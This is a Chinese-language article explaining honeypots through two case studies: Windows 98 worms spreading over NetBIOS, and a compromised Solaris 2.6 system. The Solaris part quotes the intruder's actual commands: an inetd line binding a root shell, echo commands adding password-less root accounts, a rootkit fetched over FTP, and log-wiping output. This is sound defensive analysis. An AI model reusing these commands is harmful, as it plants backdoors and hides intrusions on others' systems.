Honeypot技术讲解
[作者]:菩提树下的杨过 [来源]:互联网 [收录时间]:2007-8-19 16:48:03
引言:
我的一个好朋友前两天和我聊天的时候告诉我了一个故事:他在网上认识了一个人,告诉说自己是个网络黑客,而且说目前在国内没有进不去的主机。我的朋友被震住了,这样的水平太高了,但同时又心有疑虑。通过修改了自己FreeBSD的一些配置如banner以及用nc开了一些服务并备份删除了一些suid文件,然后启动一个sniffer并建立了一个本地一般系统帐号,并把自己的IP和这个帐号告诉了这个朋友,让他放心进来试试能不能本地夺取root。后来我的朋友对我大笑说"你知道这个朋友做了什么,他的所有击键记录里什么也没做,当了几个在RedHat下缓冲溢出程序,还没有编译成,然后后来告诉我"你的系统已经被放置了后门""。我听了后也笑了,但同时想到了honeypot-"蜜罐"。
Hoenypot定义
一个"honeypot"就是一个设计用来观测黑客如何探测并最终入侵系统的一个系统,它意味着包含一些并不威胁公司机密的数据或应用程序同时对于黑客来说又具有很大的诱惑力的这样的一个系统,也就是放置在你网络上的一台计算机表面看来象一台普通的机器但同时通过一些特殊配置来引诱潜在的黑客并捕获他们的踪迹,就像捕鼠器一样。我们并不是使用它来抓获黑客,仅仅想知道他们在并不知道自己被观测的情况下如何工作,黑客呆在"honeypot"的时间越长,他们所使用的技术就暴露的越多,而这些信息可以被用来评估他们的技术水平,了解他们使用的攻击工具。通过学习他们使用的工具和思路,我们可以更好的保护我们的系统和网络。
 一个好的"honeypot"意味着黑客从来不知道自己被跟踪,当然,"道高一尺,魔高一丈",没有任何一个"honeypot"可以捕获所有的黑客。我们所提到黑客意味着这样一些人:没有经过授权的情况下对系统进行存取,有可能是一个15岁的小孩,或者45岁的公司雇员,尽管这里提到很多关于我们所跟踪的黑客,但是我们并不知道他的实际年龄。
 honeypot在各个操作系统上实现都不太一致,但最终的思路是一样的,你要让你的入侵者不知道你正在观测他(她),最好他会在上面开IRCJ。想写案例,可又不能瞎掰,只好选用国外两篇文章先。下面先介绍--<>。然后我们会用NC自己作一个简单"honeypot"然后我们来看看wined和dtk。
1. Windows上的honeypot
在一个月的时间内(2000/9/20-2000/10/20)我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是基于UDP137端口(NetBIOS命名服务)的探测,有时伴随着基于TCP139端口(NetBIOS会话服务)。所有这些表明存在大量的针对特殊服务的扫描活动,某些事情正在发生,我们决定发现出了什么事。
我们的网络并没有在Internet做什么广告或者宣传,仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。但同样会威胁到你的系统的安全,由于这些扫描主要针对Windows系统,有可能主要瞄准通过DSL或Cable连接的普通家庭用户。我们不讨论间谍或主页被黑,我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇:谁正在作这样的扫描?他们的意图是什么?为什么存在大量的这种扫描?协同探测的结果?是蠕虫吗?带着很多问题,我们决定去发现结果并放置了我们的Windows"honeypot",我们缺省安装了一台Windows98并且使c:盘共享,尽管一台Windows98 "honeypot"听起来并没有多大的诱惑力,但是仍然可以通过建立这样的系统来获得我们所想知道的。
在Internet上有大量的Windows98系统,而且这个数量还在快速增长。作为具有代表性的系统,该系统存在大量的安全漏洞。但是作为家庭用户并没有认识到连接到Internet的风险性,他们中的大多数还是专注地连接Internet。
这是我们的第一个基于Microsoft的"honeypot",该计划也非常简单并且希望学到什么。
在2000/10/31日,系统安装好,共享打开,并且连接到Internet,我们开始等待,等待时间是如此漫长。

第一条蠕虫
至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows系统,他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开,开始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫,如果没有,就会安装它。在这里,这种蠕虫并没有被安装,这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助某人赢得distributed.net竞赛,distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战(如 crack RC5-64)奖项的组织。如果赢得挑战将获得一些奖金,在这里,我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。

某个人(bymer@inec.kiev.ua),制作了这个可复制的蠕虫,它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net客户端。一旦被安装且被执行,蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的系统,它的目标是获取更多的CPU资源,处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包(在这里我们使用snort)。为了更方便的分析NetBIOS协议,你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如下,IP为172.16.1.105的是我们"honeypot"的地址。
在一开始的时候,蠕虫在我们的系统上检查dnetc.ini,这是distributed.net客户端的标准配置文件,该配置文件告诉主服务器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统(NetBIOS名称GHUNT,帐号GHUNT,域名HSFOPROV)的记录发现他拷贝这个文件到我们"honeypot"中。
11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50235DF
*****PA* Seq: 0x12930C6 Ack: 0x66B7068 Win: 0x2185
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C..............W.
00 00 82 D1 0F FF 00 00 00 07 00 91 00 16 00 20...............
00 DC 1C 00 3A 10 00 00 00 00 00 00 00 00 00 00....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEM\dnetc.ini.

 通过下面信息我们可以看到配置文件dentc.in的确切传输配置,注意bymer@inec.kiev.ua,他就是接受CPU资源的人,很可能也是该蠕虫的作者。
11/01-15:29:18.729337 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50747DF
*****PA* Seq: 0x1293125 Ack: 0x66B70AD Win: 0x2140
00 00 01 11 FF 53 4D 42 0B 00 00 00 00 00 01 00.....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C..............W.
00 00 02 D2 05 00 00 E1 00 00 00 00 00 E1 00 E4................
00 01 E1 00 5B 6D 69 73 63 5D 20 0D 0A 70 72 6F....[misc] ..pro
6A 65 63 74 2D 70 72 69 6F 72 69 74 79 3D 4F 47ject-priority=OG
52 2C 52 43 35 2C 43 53 43 2C 44 45 53 0D 0A 0DR,RC5,CSC,DES...
0A 5B 70 61 72 61 6D 65 74 65 72 73 5D 0D 0A 69.[parameters]..i
64 3D 62 79 6D 65 72 40 69 6E 65 63 2E 6B 69 65d=bymer@inec.kie
76 2E 75 61 0D 0A 0D 0A 5B 72 63 35 5D 0D 0A 66v.ua....[rc5]..f
65 74 63 68 2D 77 6F 72 6B 75 6E 69 74 2D 74 68etch-workunit-th
72 65 73 68 6F 6C 64 3D 36 34 0D 0A 72 61 6E 64reshold=64..rand
6F 6D 70 72 65 66 69 78 3D 32 31 37 0D 0A 0D 0Aomprefix=217....
5B 6F 67 72 5D 0D 0A 66 65 74 63 68 2D 77 6F 72[ogr]..fetch-wor
6B 75 6E 69 74 2D 74 68 72 65 73 68 6F 6C 64 3Dkunit-threshold=
31 36 0D 0A 0D 0A 5B 74 72 69 67 67 65 72 73 5D16....[triggers]
0D 0A 72 65 73 74 61 72 74 2D 6F 6E 2D 63 6F 6E..restart-on-con
66 69 67 2D 66 69 6C 65 2D 63 68 61 6E 67 65 3Dfig-file-change=
79 65 73 0D 0A yes..

下一个要传的软件是distributed.net客户端-dnetc.exe。一个可执行文件,原始版本是没有病毒。我们为了确认这个文件是否被改动过,于是我们取了在"honeypot"中的改文件的MD5签名,之后我们从distributed.net上下载了该客户端并同样用MD5进行签名,结果表明一样(d0fd1f93913af70178bff1a1953f5f7d),表明该客户端并没有做过改动,仅仅是为了获取你的CPU资源进行竞赛,但是所有这一切都没有经过我们的同意。
11/01-15:34:09.044822 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:33084DF
*****PA* Seq: 0x129341A Ack: 0x66B71C0 Win: 0x202D
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C..............W.
00 00 04 26 0F FF 00 00 00 07 00 91 00 16 00 20...&...........
00 FE 1D 00 3A 10 00 00 00 00 00 00 00 00 00 00....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 65 78 65 00 STEM\dnetc.exe.

接下来传过来真正的病毒程序msi216.exe,这是一个可以进行自我复制的病毒随机探测寻找有漏洞的系统并考本自身,这很可能就是导致我们接受大量扫描的根源。
11/01-15:37:23.083643 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:40765DF
*****PA* Seq: 0x12C146A Ack: 0x66C248B Win: 0x20B2
00 00 00 5C FF 53 4D 42 2D 00 00 00 00 00 01 00...\.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C..............W.
00 00 02 F3 0F FF 00 00 00 07 00 91 00 16 00 20...............
00 C0 1E 00 3A 10 00 00 00 00 00 00 00 00 00 00....:...........
00 00 00 1B 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 6D 73 69 32 31 36 2E 65 78 65 00STEM\msi216.exe.

最后,蠕虫上传了新的win.ini文件,这么做的原因是可以在系统重新启动的时候被执行,因为很难在远程Win98系统上直接执行程序,所以蠕虫修改c:\windows\win.ini文件以使自己被自动加载。这个新的win.ini被上传到我们的系统。
11/01-15:38:55.352810 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:1342DF
******A* Seq: 0x12C6F55 Ack: 0x66C95FC Win: 0x1FBF
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C..............W.
00 00 02 F9 0C 0D 00 61 19 00 00 00 00 00 00 00.......a........
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00.........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D[windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65c:\windows\syste
6D 5C 6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75m\msi216.exe..ru
6E 3D 0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6En=..NullPort=Non
65 0D 0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0Ae....[Desktop]..
57 61 6C 6C 70 61 70 65 72 3D 28 4E 6F 6E 65 29Wallpaper=(None)
0D 0A 54 69 6C 65 57 61 6C 6C 70 61 70 65 72 3D..TileWallpaper=
31 0D 0A 57 61 6C 6C 70 61 70 65 72 53 74 79 6C1..WallpaperStyl
65 3D 30 0D 0A 0D 0A 5B 69 6E 74 6C 5D 0D 0A 69e=0....[intl]..i
到这里为止,蠕虫已经完成入侵并且我们的"honeypot"已经被感染。所有的一切就是我们重新启动系统蠕虫就会生效,一旦它运行,就会发生一些事:
Distributed.net客户端启动,在竞赛中使用CPU资源。
蠕虫开始寻找有漏洞的系统并复制自己,这也是为什么导致UDP137和TCP139扫描。
蠕虫在注册表中添加如下键值。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Bymer.scanner HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Bymer.scanner
你是否想着等着系统重启来执行程序不值得信赖,可是要知道目标是Windows桌面系统,你多长时间重启一次你的Windows?
第二条蠕虫
繁忙的一周,第二天我们的第二条蠕虫来了。这次是第一次的变种,获取你的CPU资源用来参加distributed.net竞赛,不同的是,这一次所有文件合为一个可执行文件wininit.exe,缺省安装已经有一个安装在c:\windows\wininit.exe,之所以叫这个名字是为了隐藏自己,即使有人发现这个二进制文件也会想到可能是一个系统文件而不是一个蠕虫。这在黑客社区是非常常见的策略。一旦执行,这条蠕虫会象第一条那样。下面我们可以看到我们的"honeypot"被第二条蠕虫感染,远程系统NetBIOS名是WINDOW,帐号WINDOW,域名LVCW。

11/02-21:41:17.287743 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:38619DF
*****PA* Seq: 0x21CC0AC Ack: 0xCE6736B Win: 0x2185
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F..............O.
00 00 84 EE 0F FF 00 00 00 07 00 91 00 16 00 20...............
00 20 BB 01 3A 10 00 00 00 00 00 00 00 00 00 00. ..:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65STEM\wininit.exe
00

Once the worm has installed itself, the remote system then modifies the win.ini file to ensure it is executed on reboot.Notice how this executable adds to the already modified c:\windows\win.ini file, which has an entry from our previous worm.
一旦蠕虫被安装,远程系统就会修改win.ini以确保在系统重启以后能够运行,在这里我们注意到它已经被加入c:\windows\win.ini,以前的那个程序仍然在启动时执行。
11/02-21:41:48.538643 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:21212DF
******A* Seq: 0x22021C9 Ack: 0xCE68EC7 Win: 0x1FA3
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F..............O.
00 00 84 F4 0C 0F 00 7F 19 00 00 00 00 00 00 00................
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00.........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D[windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65c:\windows\syste
6D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 20 63 3Am\wininit.exe c:
5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 6D 5C\windows\system\
6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 6E 3Dmsi216.exe..run=
0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E 65 0D..NullPort=None.
0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A 57 61...[Desktop]..Wa

重启之后,象上一次一样,第二条蠕虫程序以同样的进程会启动。给我们的感觉对方似乎并没有象有些邪恶的黑客那样,倒却象看热闹的。系统的拥有者并没有意识倒蠕虫已经运行在系统上,没有意识倒自己的系统正在被利用在探测别的主机,他们的系统正连接Internet,作自己的事。每一个通过拨号连接Internet的主机都面临同样的攻击。这里正在发起一场战争关于自动蠕虫探测和威胁那些主机,就像我们的"honeypot"。
自此以后

有过了一天,同样的蠕虫又探测我们的"honeypot",首先,他们决定是否共享被打开,接着,它发现同样的蠕虫已经被安装,之后它离我们而去。这天的晚些时候,另外一个系统探测是否msi216.exe已经被安装。
11/03-04:42:11.596636 210.111.145.180:2341 -> 172.16.1.105:139
TCP TTL:115 TOS:0x0 ID:12574DF
*****PA* Seq: 0x2345C04 Ack: 0xE65CC94 Win: 0x2171
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D8 B5 1D................
00 00 81 3E 0F FF 00 00 00 07 00 91 00 16 00 20...>...........
00 3A 26 02 3A 10 00 00 00 00 00 00 00 00 00 00.:&.:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65STEM\wininit.exe
00 .
远程系统:NetBIOS名 MATTHEW,帐号 MPYLE,域名 MPYLE

11/03-16:39:38.723572 216.23.6.24:3946 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:3309DF
*****PA* Seq: 0x1A7105F Ack: 0x10F8C0F2 Win: 0x2159
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 E0 AD 20...............
00 00 81 D9 0F FF 00 00 00 07 00 91 00 16 00 20...............
00 14 CE 02 3A 10 00 00 00 00 00 00 00 00 00 00....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59.....\WINDOWS\SY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEM\dnetc.ini.

 在接下来的一天,11月4号,从IP为207.224.254.206(NetBIOS名SOCCERDOG,帐号SCOTT,域名RONS)开始对我们的"honeypot"进行探测判断是否dnetc.ini已经被安装,当看到已经安装过,他随后离去。在随后三天之内我们的"honeypot"一共接收到5次探测。在那天的晚些时候,我们的"honeypot"开始尝试通过http连接到bymer.boom.ru,
这可能是蠕虫在尝试进行连接主服务器进行更新。
Bymer.boom.ru系统像是某一时间的这条蠕虫的主控制器。但是域名bymer.boom.ru现在被解析成一个RFC 1918里IP地址192.168.0.1。这些现象好像显示这个域的管理员在停止这条蠕虫,我们所不确定是一条蠕虫的运行有时不需要重启。使用Windows的一个缺点就是可用信息太少,没有什么日志。下面我们看到"honeypot"初始化连接bymer.boom.ru,很可能就是它的主服务器。
11/04-23:56:38.855453 172.16.1.105:1027 -> 192.168.0.1:80
TCP TTL:127 TOS:0x0 ID:65300DF
**S***** Seq: 0x17AF8D9A Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK

紧接着,dnetc.exe客户端连接到distributed.net服务器并且开始数据传输,这应该是distributed.net的客户端而不是蠕虫的复制进程。接着完成蠕虫的最终愿望,耗CPU资源并上传结果到distributed.net。
11/04-23:56:40.286898 172.16.1.105:1029 -> 204.152.186.139:2064
TCP TTL:127 TOS:0x0 ID:1301DF
*****PA* Seq: 0x17AF8F47 Ack: 0xBE445ED3 Win: 0x2238
AE 23 E2 77 F6 42 91 51 3E 61 3F EE 86 7F EE 8B.#.w.B.Q>a?.....
CE 9E 9D 28 16 BD 4B C5 5E DB FA 62 A6 FA A8 FF...(..K.^..b....
EF 19 57 9C 37 38 06 39 7F 56 B4 D6 C7 75 63 73..W.78.9.V...ucs
0F 94 12 10 57 B2 C0 AD 9F D1 6F 4A E7 F0 1D E7....W.....oJ....
30 0E CC 84 78 2D 7B 21 C0 4C 29 BE 08 6A D8 5B0...x-{!.L)..j.[
50 89 86 F8 98 A8 35 95 E0 C6 E4 32 28 E5 92 CFP.....5....2(...
71 04 41 6C B9 22 F0 09 01 41 9E A6 49 60 4D 43q.Al."...A..I`MC
91 7E FB E0 D9 9D AA 7D 21 BC 59 1A 69 DB 07 B7.~.....}!.Y.i...
B1 F9 B6 54 FA 18 64 F1 42 37 13 8E 8A 55 C2 2B...T..d.B7...U.+
CF 32 45 19 1A 93 1F 65 62 B1 CE 02 AA D0 7C 9E.2E....eb.....|.
C5 46 78 29 F0 13 97 04.Fx)....

一旦上传完成,这条开始在Internet上搜寻有漏洞系统并开始复制自己。它随机挑选IP地址,之后开始扫对方的135和139端口。随后标记存在漏洞的系统并开始复制。如果一个"honeypot"的环境被设计成阻塞住各种被已经侵害的"honeypot"发出的有恶意的流量,那么这些扫描就永远到不了Internet。"honeypot"在这里就像是"roach motel",让坏蛋进去,但不让出。下面可以看到这条蠕虫尝试发现其他有漏洞的系统。
11/04-23:58:05.946299 172.16.1.105:137 -> 39.202.248.187:137
UDP TTL:127 TOS:0x0 ID:30485
Len: 58
0E 94 00 10 00 01 00 00 00 00 00 00 20 43 4B 41............ CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21AAAAAAAAAAAAA..!
00 01

另外一件事就是我发现有趣的事情是在c:\windows\win.ini的这个配置文件被重新修改,很想是被winint.exe,这条蠕虫从启动配置中移走msi216.exe。同样dentc.ini也重新被修改,把邮件地址从bymer@inec.kiev.ua改为bymer@ukrpost.net,这些表明第二条蠕虫正在尝试从配置中去掉第一条的配置从而替代它。这种现象就像自然界的生态斗争,一条虫子同另外一台争夺地盘,或者是CPU资源。

我们在上面描述了我们四天的历程,我们的Windows98系统被几条蠕虫侵袭。这些蠕虫自动探测有漏洞系统一旦发现就开始自身复制,目前来看全是搜寻有NetBIOS漏洞的系统,当然并不表示所有基于NetBIOS的扫描都是这样。并不是所有的蠕虫都是基于distributed.net。想想如果这条蠕虫被修改成窥探你系统上的隐秘信息,它会很轻易的搜寻包含财务等机密信息…一旦发现,这些信息会发给匿名邮件帐号,IRC channel,或者被入侵的Web服务器。
 非常感谢H Carvey 和Ryan Russell,他们是主要的技术贡献者,看额外的信息,可以http://distributed.net或者http://www.cert.org。

2. Unix上的Honeypot实例
这篇文章来自<>系列,和上一部分一样,这里并不是讲解如何从技术上实现一个Unix上的"honeypot",而是主要是通过分析来了解黑客的使用的工具和他们的策略。分三个部分,第一,第二部分提供的信息很少发布,通过在14天里对他们所认为攻破的"honeypot"上的对话和行为的记录了解他们他们为什么和怎样攻击系统。当黑客认为这台Solaris 2.6已经被攻破之后,他们在系统里放置了IRC。我们监视所有IRC里的通话,我们十四天的观察结果都记录在这里,希望大家能够从中得到启示。
系统遭受入侵
我们的"honeypot"采用一个缺省安装Solaris 2.6系统,在此之上我们没有做任何修改或安装补丁程序。我们设置这样的系统就是想引诱黑客进入我们的系统,通过他们在上面的活动,我们就可以研究他们的思维。
 在2000年6月4日,我们的系统被黑客入侵,他们通过是rpc.ttdbserv漏洞,该漏洞允许远程在ToolTalk对象数据库执行缓冲溢出程序(CVE-1999-0003,Bugtraq ID 122),该漏洞在SANS被列为前10位,我们的IDS、snort的检测信息如下:
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775

Rpc.ttdbserv漏洞是一个缓冲溢出攻击,它允许远程用户在系统上以root身份执行命令。如下的命令被执行,并安装了一个后门程序。Ingreslock服务(端口1524)被加到一个叫做/tmp/bob的文件,然后以它作为配置文件运行inetd,执行完以后,它就在端口1524上帮定了一个root shell,允许远程用户对系统进行存取。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob

一旦黑客安装了后门,他连接到端口1524,获得root shell,并执行如象命令。在我们的系统中增加了两个帐号,这样的话他就可以Telnet进来。注意下面的错误和控制字符,原因是因为绑定在1524端口的shell并没有一个很好的环境。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsmith consoleMay 24 21:09
^M: not found
# exit;
黑客这个时候在我们的系统上拥有两个帐号"re"和"r",他于是就可以以"re"telnet上来,并su成"r",这个帐号的UID为0,我们将重温他的敲键记录。
!"' !"P#$#$'LINUX'

SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password:
abcdef
telnet (SYSTEM): passwd
successfully changed for re
Sun Microsystems Inc.
SunOS 5.6Generic August 1997
$ su r
我们的客人现在已经获得root权限,下一步就是安装工具并控制整个系统,首先,我们看到他建立一个隐藏目录用于隐藏他的工具。

# mkdir /dev/".. "
# cd /dev/".. "
在建立完这个目录之后,他开始从别的系统上下载所需的工具。

# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net
FTP server (Version 6.00) ready.
Name (shell.example.net:re):
j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode
data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode
data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

一旦这个工具被成功下载,接下来就是解包和安装。这里注意他的整个安装过程通过一个简单的脚本setup.sh,这个脚本调用另外一个脚本secure.sh。

# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)


这里这个工具包首先清除日志里和他的行为相关的信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

在清理完日志文件后,他们开始为系统安全考虑,开始加固系统安全。因为他们可以轻易进入系统,别人也同样有可能,他们并不想自己的"劳动成果"被别人抢去。

./secure.sh: rpc.ttdb=:not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ?0:00 inetd
11467 ?0:00 inetd
cp: cannot access /dev//sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

下一步IRC proxy开始运行,但是随后他又杀掉了改进程,对此我们感到迷惑。

Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter
:bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222 :Successfully went into the background.
